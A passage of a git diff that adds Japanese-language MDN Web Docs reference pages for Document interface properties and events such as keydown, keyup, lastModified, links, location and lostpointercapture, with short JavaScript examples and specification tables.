"#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("CSSOM View")}}</td> + <td><code>Document</code> インターフェイスを拡張</td> + </tr> + <tr> + <td>{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("Pointer Lock")}}</td> + <td><code>Document</code> インターフェイスを拡張</td> + </tr> + <tr> + <td>{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("Page Visibility API")}}</td> + <td><code>Document</code> インターフェイスを拡張し、 <code>visibilityState</code> および <code>hidden</code> 属性と <code>onvisibilitychange</code> イベントリスナーを追加</td> + </tr> + <tr> + <td>{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}</td> + <td>{{Spec2("Selection API")}}</td> + <td><code>getSelection()</code>, <code>onselectstart</code>, <code>onselectionchange</code> を追加</td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#interface-document", "Document")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td>DOM 3 の後継</td> + </tr> + <tr> + <td>{{SpecName("DOM3 Core", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>DOM 2 の後継</td> + </tr> + <tr> + <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}</td> + <td>{{Spec2("DOM3 XPath")}}</td> + <td>document を拡張する {{DOMxRef("XPathEvaluator")}} インターフェイスを定義</td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>DOM 1 の後継</td> + </tr> + <tr> + <td>{{SpecName("DOM1", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM1")}}</td> + <td>インターフェイスの初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document")}}</p> diff --git a/files/ja/web/api/document/inputencoding/index.html b/files/ja/web/api/document/inputencoding/index.html new file mode 100644 index 0000000000..eec76a174f --- /dev/null +++ b/files/ja/web/api/document/inputencoding/index.html @@ -0,0 +1,25 @@ +--- +title: document.inputEncoding +slug: Web/API/Document/inputEncoding +tags: + - DOM + - Document + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/characterSet +--- +<p>{{ApiRef}} {{deprecated_header}}</p> +<h2 id="Summary" name="Summary">概要</h2> +<p>文書パース時のエンコーディングを表す文字列（※ <code>ISO-8859-1</code> 等）を返します。</p> +<div class="warning"> + <strong>注記:</strong> このメソッドは DOM 4 仕様書ドラフトから削除されており、Gecko の実装からも削除される可能性があります。使用しないようにしてください。</div> +<h2 id="Syntax" name="Syntax">構文</h2> +<pre class="syntaxbox"><code><var>encoding</var> = document.inputEncoding;</code></pre> +<ul> + <li><code>inputEncoding</code> : {{readOnlyInline}}</li> +</ul> +<h2 id="Specification" name="Specification">仕様書</h2> +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-inputEncoding">DOM Level 3 Core</a></li> + <li>※ {{spec("http://www.w3.org/TR/domcore/","DOM Core Level 4","WD")}} で削除されています。</li> +</ul> diff --git a/files/ja/web/api/document/keydown_event/index.html b/files/ja/web/api/document/keydown_event/index.html new file mode 100644 index 0000000000..2ad42a2bad --- /dev/null +++ b/files/ja/web/api/document/keydown_event/index.html @@ -0,0 +1,103 @@ +--- +title: 'Document: keydown イベント' +slug: Web/API/Document/keydown_event +tags: + - API + - DOM + - Document + - Event + - KeyboardEvent + - Reference + - keydown +translation_of: Web/API/Document/keydown_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>keydown</code></strong> イベントは、キーが押されたときに発生します。</p> + +<p>{{domxref("Document/keypress_event", "keypress")}} イベントとは異なり、 <code>keydown</code> イベントはすべてのキーにおいて、文字が入力されるかどうかにかかわらず発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("KeyboardEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers.onkeydown", "onkeydown")}}</td> + </tr> + </tbody> +</table> + +<p><code>keydown</code> および {{domxref("Document/keyup_event", "keyup")}} イベントが、どのキーが押されたのかを示すコードを提供するのに対し、 {{domxref("Document/keypress_event", "keypress")}} はどの<em>文字</em>が入力されたかを示します。例えば、小文字の "a" は <code>keydown</code> および <code>keyup</code> では65になるのに対し、 <code>keypress</code> では97になります。大文字の "A" はどのイベントでも65と報告されます。</p> + +<p>Firefox 65 から、 <code>keydown</code> および {{domxref("Document/keyup_event", "keyup")}} イベントは IME 入力中でも発生するようになり、 CJKT のユーザーのブラウザー間の互換性が向上しました ({{bug(354358)}}、またもっと有益な詳細は <a href="https://www.fxsitecompat.com/en-CA/docs/2018/keydown-and-keyup-events-are-now-fired-during-ime-composition/">keydown and keyup events are now fired during IME composition</a> を参照)。 IME 入力中のすべての <code>keydown</code> イベントを無視するには、次のようにします (229 は IME によって処理されたイベントに関連する <code>keyCode</code> の特殊な値のセットです)。</p> + +<pre class="brush: js">eventTarget.addEventListener("keydown", event => { + if (event.isComposing || event.keyCode === 229) { + return; + } + // 何かをする +}); +</pre> + +<h2 id="Examples" name="Examples">例</h2> + +<h3 id="addEventListener_keydown_example" name="addEventListener_keydown_example">addEventListener keydown の例</h3> + +<p>この例はキーを押すたびに {{domxref("KeyboardEvent.code")}} の値をログ出力します。</p> + +<pre class="brush: html"><p>Focus the IFrame first (e.g. by clicking in it), then try pressing some keys.</p> +<p id="log"></p></pre> + +<pre class="brush: js">document.addEventListener('keydown', logKey); + +function logKey(e) { + log.textContent += ` ${e.code}`; +}</pre> + +<p>{{EmbedLiveSample("addEventListener_keydown_example")}}</p> + +<h3 id="onkeydown_equivalent" name="onkeydown_equivalent">onkeydown equivalent</h3> + +<pre class="brush: js">document.onkeydown = logKey;</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('UI Events', '#event-type-keydown')}}</td> + <td>{{Spec2('UI Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.keydown_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/keypress_event", "keypress")}}</li> + <li>{{domxref("Document/keyup_event", "keyup")}}</li> + <li>{{domxref("Element")}} の {{domxref("Element/keydown_event", "keydown")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/keyup_event/index.html b/files/ja/web/api/document/keyup_event/index.html new file mode 100644 index 0000000000..334d00f0bd --- /dev/null +++ b/files/ja/web/api/document/keyup_event/index.html @@ -0,0 +1,107 @@ +--- +title: 'Document: keyup イベント' +slug: Web/API/Document/keyup_event +tags: + - DOM + - Document + - Event + - KeyboardEvent + - Reference + - keyup + - イベント +translation_of: Web/API/Document/keyup_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>keyup</code></strong> イベントは、キーが離されたときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("KeyboardEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers.onkeyup", "onkeyup")}}</td> + </tr> + </tbody> +</table> + +<p>{{domxref("Document/keydown_event", "keydown")}} および <code>keyup</code> イベントが、どのキーが押されたのかを示すコードを提供するのに対し、 {{domxref("Document/keypress_event", "keypress")}} はどの<em>文字</em>が入力されたかを示します。例えば、小文字の "a" は <code>keydown</code> および <code>keyup</code> では65になるのに対し、 <code>keypress</code> では97になります。大文字の "A" はどのイベントでも65と報告されます。</p> + +<div class="blockIndicator note"> +<p><strong>注:</strong> 入力値の変更に反応する方法を探しているのであれば、 <a href="/ja/docs/Web/API/HTMLElement/input_event"><code>input</code> イベント</a>を使用してください。 <code>keyup</code> では、テキスト入力のコンテキストニューからテキストを貼り付けた場合など、一部の変更が検出されません。</p> +</div> + +<p>Firefox 65 から、 {{domxref("Document/keydown_event", "keydown")}} および <code>keyup</code> イベントは IME 入力中でも発生するようになり、 CJKT のユーザーのブラウザー間の互換性が向上しました ({{bug(354358)}}、またもっと有益な詳細は <a href="https://www.fxsitecompat.com/en-CA/docs/2018/keydown-and-keyup-events-are-now-fired-during-ime-composition/">keydown and keyup events are now fired during IME composition</a> を参照)。 IME 入力中のすべての <code>keyup</code> イベントを無視するには、次のようにします (229 は IME によって処理されたイベントに関連する <code>keyCode</code> の特殊な値のセットです)。</p> + +<pre class="brush: js notranslate">eventTarget.addEventListener("keyup", event => { + if (event.isComposing || event.keyCode === 229) { + return; + } + // 何かをする +}); +</pre> + +<h2 id="Examples" name="Examples">例</h2> + +<p>この例はキーを離すたびに {{domxref("KeyboardEvent.code")}} の値をログ出力します。</p> + +<h3 id="addEventListener_keyup_example" name="addEventListener_keyup_example">addEventListener の keyup の例</h3> + +<pre class="brush: html notranslate"><p>Focus the IFrame first (e.g. by clicking in it), then try pressing some keys.</p> +<p id="log"></p></pre> + +<pre class="brush: js notranslate">const log = document.getElementById('log'); + +document.addEventListener('keyup', logKey); + +function logKey(e) { + log.textContent += ` ${e.code}`; +}</pre> + +<p>{{EmbedLiveSample("addEventListener_keyup_example")}}</p> + +<h3 id="onkeyup_equivalent" name="onkeyup_equivalent">onkeyup を用いた同等のもの</h3> + +<pre class="brush: js notranslate">document.onkeyup = logKey;</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("UI Events", "#event-type-keyup")}}</td> + <td>{{Spec2("UI Events")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.keyup_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/keydown_event", "keydown")}}</li> + <li>{{domxref("Document/keypress_event", "keypress")}}</li> + <li>{{domxref("Element")}} の {{domxref("Element/keyup_event", "keyup")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/lastmodified/index.html b/files/ja/web/api/document/lastmodified/index.html new file mode 100644 index 0000000000..2be565e696 --- /dev/null +++ b/files/ja/web/api/document/lastmodified/index.html @@ -0,0 +1,96 @@ +--- +title: Document.lastModified +slug: Web/API/Document/lastModified +tags: + - API + - Document + - HTML DOM + - NeedsSpecTable + - Property + - Reference +translation_of: Web/API/Document/lastModified +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>lastModified</code></strong> は {{domxref("Document")}} インターフェイスのプロパティで、現在の文書が最後に更新された日付と時刻を含む文字列を返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>string</var> = <var>document</var>.lastModified; +</pre> + +<h2 id="Examples" name="Examples">例</h2> + +<h3 id="Simple_usage" name="Simple_usage">単純な使用</h3> + +<p>この例では <code>lastModified</code> の値をアラート表示します。</p> + +<pre class="brush:js notranslate">alert(document.lastModified); +// 表示内容: Tuesday, December 16, 2017 11:09:42 +</pre> + +<h3 id="Transforming_lastModified_into_a_Date_object" name="Transforming_lastModified_into_a_Date_object">lastModified を Date オブジェクトへ変換</h3> + +<p>この例では、 <code>lastModified</code> を {{jsxref("Date")}} オブジェクトに変換します。object.</p> + +<pre class="brush:js notranslate">let oLastModif = new Date(document.lastModified); +</pre> + +<h3 id="Transforming_lastModified_into_milliseconds" name="Transforming_lastModified_into_milliseconds">lastModified をミリ秒に変換</h3> + +<p>この例では、 <code>lastModified</code> を地方時の1970年1月1日 00:00:00からの経過ミリ秒数の数値に変換します。</p> + +<pre class="brush:js notranslate">let nLastModif = Date.parse(document.lastModified); +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p><code>lastModified</code> は文字列なので、文書の更新日の比較には<em>簡単には</em>使用できないことに注意してください。こちらはいつページが変更されたかをアラートメッセージで表示する方法の例です (<a href="/en-US/docs/DOM/document.cookie">JavaScript cookies API</a> も参照)。</p> + +<pre class="brush: js notranslate">if (Date.parse(document.lastModified) > parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { + document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname; + alert("ページが変更されました。"); +}</pre> + +<p>…同じ例ですが、最初の訪問をスキップします。</p> + +<pre class="brush: js notranslate">var + nLastVisit = parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), + nLastModif = Date.parse(document.lastModified); + +if (isNaN(nLastVisit) || nLastModif > nLastVisit) { + document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname; + + if (isFinite(nLastVisit)) { + alert("ページが変更されました。"); + } +}</pre> + +<div class="note"><strong>注:</strong> WebKit は時刻の文字列を UTC で返します。 Gecko と Internet Explorer はローカルタイムゾーンで時刻を返します。 (参照: <a href="https://bugs.webkit.org/show_bug.cgi?id=4363">Bug 4363 – document.lastModified returns date in UTC time, but should return it in local time</a>)</div> + +<p>もし<strong><em>外部のページ</em>が変更されたかどうか</strong>を知りたい場合は、 <a href="/ja/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Get_last_modified_date"><code>XMLHttpRequest()</code> API についてのこの段落</a>をお読みください。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-lastmodified', 'document.lastModified')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.lastModified")}}</div> diff --git a/files/ja/web/api/document/laststylesheetset/index.html b/files/ja/web/api/document/laststylesheetset/index.html new file mode 100644 index 0000000000..b153b3a508 --- /dev/null +++ b/files/ja/web/api/document/laststylesheetset/index.html @@ -0,0 +1,53 @@ +--- +title: Document.lastStyleSheetSet +slug: Web/API/Document/lastStyleSheetSet +tags: + - API + - CSSOM + - DOM + - Document + - Property + - Reference + - Stylesheets + - lastStyleSheetSet +translation_of: Web/API/Document/lastStyleSheetSet +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}</div> + +<p><strong><code>Document.lastStyleSheetSet</code></strong> プロパティは、<span class="seosummary">最後に有効化されたスタイルシートセットを返します。</span>このプロパティの値は {{domxref("document.selectedStyleSheetSet")}} プロパティが変化するたびに変化します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>lastStyleSheetSet</var> = <var>document</var>.lastStyleSheetSet +</pre> + +<p>返値である <var>lastStyleSheetSet</var> は、最も新しく設定されたスタイルシートセットを示します。現在のスタイルシートセットが {{domxref("document.selectedStyleSheetSet")}} を設定することで変更されたものでない場合、返値は <code>null</code> になります。</p> + +<div class="note"><strong>注:</strong> この値は {{domxref("document.enableStyleSheetsForSet()")}} が呼び出された時に変化しません。</div> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">let lastSheetSet = document.lastStyleSheetSet; + +if (!lastSheetSet) { + lastSheetSet = 'Style sheet not yet changed'; +} +else { + console.log('The last style sheet set is: ' + lastSheetSet); +} +</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.lastStyleSheetSet")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.preferredStyleSheetSet")}}</li> + <li>{{domxref("document.selectedStyleSheetSet")}}</li> + <li>{{domxref("document.styleSheetSets")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> +</ul> diff --git a/files/ja/web/api/document/linkcolor/index.html b/files/ja/web/api/document/linkcolor/index.html new file mode 100644 index 0000000000..7160606924 --- /dev/null +++ b/files/ja/web/api/document/linkcolor/index.html @@ -0,0 +1,56 @@ +--- +title: Document.linkColor +slug: Web/API/Document/linkColor +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/linkColor +--- +<div>{{APIRef("DOM")}} {{Deprecated_header}}</div> + +<p><strong><code>Document.linkColor</code></strong> プロパティは、文書内のリンクの色を取得または設定します。</p> + +<p>このプロパティは非推奨です。代替手段として、 CSS の {{cssxref("color")}} プロパティを HTML のアンカーリンク ({{HtmlElement("a")}}) または {{cssxref(":link")}} 疑似クラスで設定することができます。もう一つの代替手段に <code>document.body.link</code> がありますが、これは <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-link">HTML 4.01 で非推奨になりました</a>。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>color</var> = document.linkColor +document.linkColor = <var>color</var> +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<ul> + <li><code><var>color</var></code>: 色を単語 (例えば <code>red</code>) または16進値 (例えば <code>#ff0000</code>) で表す文字列。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">document.linkColor = 'blue'; +</pre> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<p>HTML5</p> + +<p><code>Document.linkColor</code> は <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML で非推奨になりました</a>。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.linkColor")}}</p> + +<p>Mozilla Firefox におけるこのプロパティの既定値は、青 (16進数で <code>#0000ee</code>) です。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.vlinkColor")}}</li> + <li>{{domxref("document.alinkColor")}}</li> +</ul> diff --git a/files/ja/web/api/document/links/index.html b/files/ja/web/api/document/links/index.html new file mode 100644 index 0000000000..6394b176a6 --- /dev/null +++ b/files/ja/web/api/document/links/index.html @@ -0,0 +1,31 @@ +--- +title: document.links +slug: Web/API/Document/links +tags: + - DOM + - Document + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/links +--- +<div> + {{ApiRef}}</div> +<h2 id="Summary" name="Summary">概要</h2> +<p><code>links</code> プロパティは、文書中の、 <code>href</code> 属性の値を持つすべての {{htmlelement("area")}} 要素とアンカー要素のコレクションを返します。</p> +<h2 id="Syntax" name="Syntax">構文</h2> +<pre class="syntaxbox"><var>nodeList</var> = document.links; +</pre> +<h2 id="Example" name="Example">例</h2> +<pre class="brush:js">var links = document.links; + +for(var i = 0; i < links.length; i++) { + var linkHref = document.createTextNode(links[i].href); + var lineBreak = document.createElement("br"); + + document.body.appendChild(linkHref); + document.body.appendChild(lineBreak); +}</pre> +<h2 id="Specification" name="Specification">仕様書</h2> +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7068919">DOM Level 2 HTML: links</a></li> +</ul> diff --git a/files/ja/web/api/document/location/index.html b/files/ja/web/api/document/location/index.html new file mode 100644 index 0000000000..07129f1740 --- /dev/null +++ b/files/ja/web/api/document/location/index.html @@ -0,0 +1,73 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Property + - Read-only + - Reference + - プロパティ +translation_of: Web/API/Document/location +--- +<p>{{APIRef("DOM")}}</p> + +<p><strong><code>Document.location</code></strong> は読み取り専用のプロパティで、この文書の URL に関する情報を持った {{domxref("Location")}} オブジェクトを返します。これはその URL を変更したり他の URL を読み込んだりするためのメソッドも提供しています。</p> + +<p><code>Document.location</code> は<em>読み取り専用</em>の <code>Location</code> オブジェクトですが、 {{domxref("DOMString")}} を代入することができます。つまり、 document.location が文字列であるかのように扱うことができます。 <code>document.location = 'http://www.example.com'</code> は <code>document.location.href = 'http://www.example.com'</code> の別名です。</p> + +<p>URL を文字列として受け取るだけであれば、読み取り専用の {{domxref("document.URL")}} プロパティも利用することができます。</p> + +<p>現在の文書が閲覧コンテキスト内にない場合、返値は <code>null</code> となります。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<p>s</p> + +<pre class="syntaxbox notranslate"><var>locationObj</var> = document.location +document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org' +</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">console.log(document.location); +// Location オブジェクトをコンソールへ表示 +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>{{SpecName("HTML5 W3C")}} から変更なし</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.location")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>返値のインターフェイスである {{domxref("Location")}}</li> + <li>同様の情報で{{Glossary("browsing context", "閲覧コンテキスト")}}に結びつけられている {{domxref("Window.location")}}</li> +</ul> diff --git a/files/ja/web/api/document/lostpointercapture_event/index.html b/files/ja/web/api/document/lostpointercapture_event/index.html new file mode 100644 index 0000000000..ebe77da638 --- /dev/null +++ b/files/ja/web/api/document/lostpointercapture_event/index.html @@ -0,0 +1,108 @@ +--- +title: 'Document: lostpointercapture イベント' +slug: Web/API/Document/lostpointercapture_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - lostpointercapture + - イベント +translation_of: Web/API/Document/lostpointercapture_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>lostpointercapture</code></strong> イベントは、<a href="/ja/docs/Web/API/Pointer_events#Pointer_capture">ポインターのキャプチャ</a>が解放されたときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>この例は <code>lostpointercapture</code> イベントを待ち受けし、 <code>pointerdown</code> でその要素のためにポインターをキャプチャします。後でユーザーがポインターを解放したとき、 <code>lostpointercapture</code> イベントが発生します。</p> + +<pre class="brush: js">const para = document.querySelector('p'); + +document.addEventListener('lostpointercapture', () => { + console.log('I\'ve been released!') +}); + +para.addEventListener('pointerdown', (event) => { + para.setPointerCapture(event.pointerId); +}); +</pre> + +<p>同じ例ですが、 <code>onlostpointercapture</code> イベントハンドラーを使用して行います。</p> + +<pre class="brush: js">const para = document.querySelector('p'); + +document.onlostpointercapture = () => { + console.log('I\'ve been released!') +}; + +para.addEventListener('pointerdown', (event) => { + para.setPointerCapture(event.pointerId); +}); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-lostpointercapture-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.lostpointercapture_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>関連イベント + <ul> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerover_event", "pointerover")}}</li> + <li>{{domxref("Document/pointerenter_event", "pointerenter")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointermove_event", "pointermove")}}</li> + <li>{{domxref("Document/pointerup_event", "pointerup")}}</li> + <li>{{domxref("Document/pointercancel_event", "pointercancel")}}</li> + <li>{{domxref("Document/pointerout_event", "pointerout")}}</li> + <li>{{domxref("Document/pointerleave_event", "pointerleave")}}</li> + </ul> + </li> + <li>{{domxref("GlobalEventHandlers.onlostpointercapture")}} イベントハンドラープロパティ</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/lostpointercapture_event", "lostpointercapture")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/onafterscriptexecute/index.html b/files/ja/web/api/document/onafterscriptexecute/index.html new file mode 100644 index 0000000000..7440dd0044 --- /dev/null +++ b/files/ja/web/api/document/onafterscriptexecute/index.html @@ -0,0 +1,52 @@ +--- +title: Document.onafterscriptexecute +slug: Web/API/Document/onafterscriptexecute +tags: + - API + - DOM + - Non-standard + - Reference + - プロパティ + - 標準外 +translation_of: Web/API/Document/onafterscriptexecute +--- +<div>{{ApiRef("DOM")}}{{non-standard_header}}</div> + +<p><strong><code>Document.onafterscriptexecute</code></strong> プロパティは、静的な {{HTMLElement("script")}} 要素のスクリプトの実行が終了したときに呼び出される関数を参照します。要素が {{domxref("Node.appendChild()", "appendChild()")}} などで動的に追加された場合には呼び出されません。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>document</var>.onafterscriptexecute = <var>funcRef</var>; +</pre> + +<p><var>funcRef</var> は関数の参照で、イベントが発行されると呼び出されます。イベントの <code>target</code> 属性が、実行が完了した {{HTMLElement("script")}} 要素に設定されます。</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js">function finished(e) { + logMessage(`Finished script with ID: ${e.target.id}`); +} + +document.addEventListener('afterscriptexecute', finished, true); +</pre> + +<p><a href="/samples/html/currentScript.html">ライブ例を表示</a></p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<ul> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element">HTML5</a></li> +</ul> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.onafterscriptexecute")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document.onbeforescriptexecute")}}</li> + <li>{{domxref("Document.currentScript")}}</li> +</ul> diff --git a/files/ja/web/api/document/onbeforescriptexecute/index.html b/files/ja/web/api/document/onbeforescriptexecute/index.html new file mode 100644 index 0000000000..13c1b5f606 --- /dev/null +++ b/files/ja/web/api/document/onbeforescriptexecute/index.html @@ -0,0 +1,47 @@ +--- 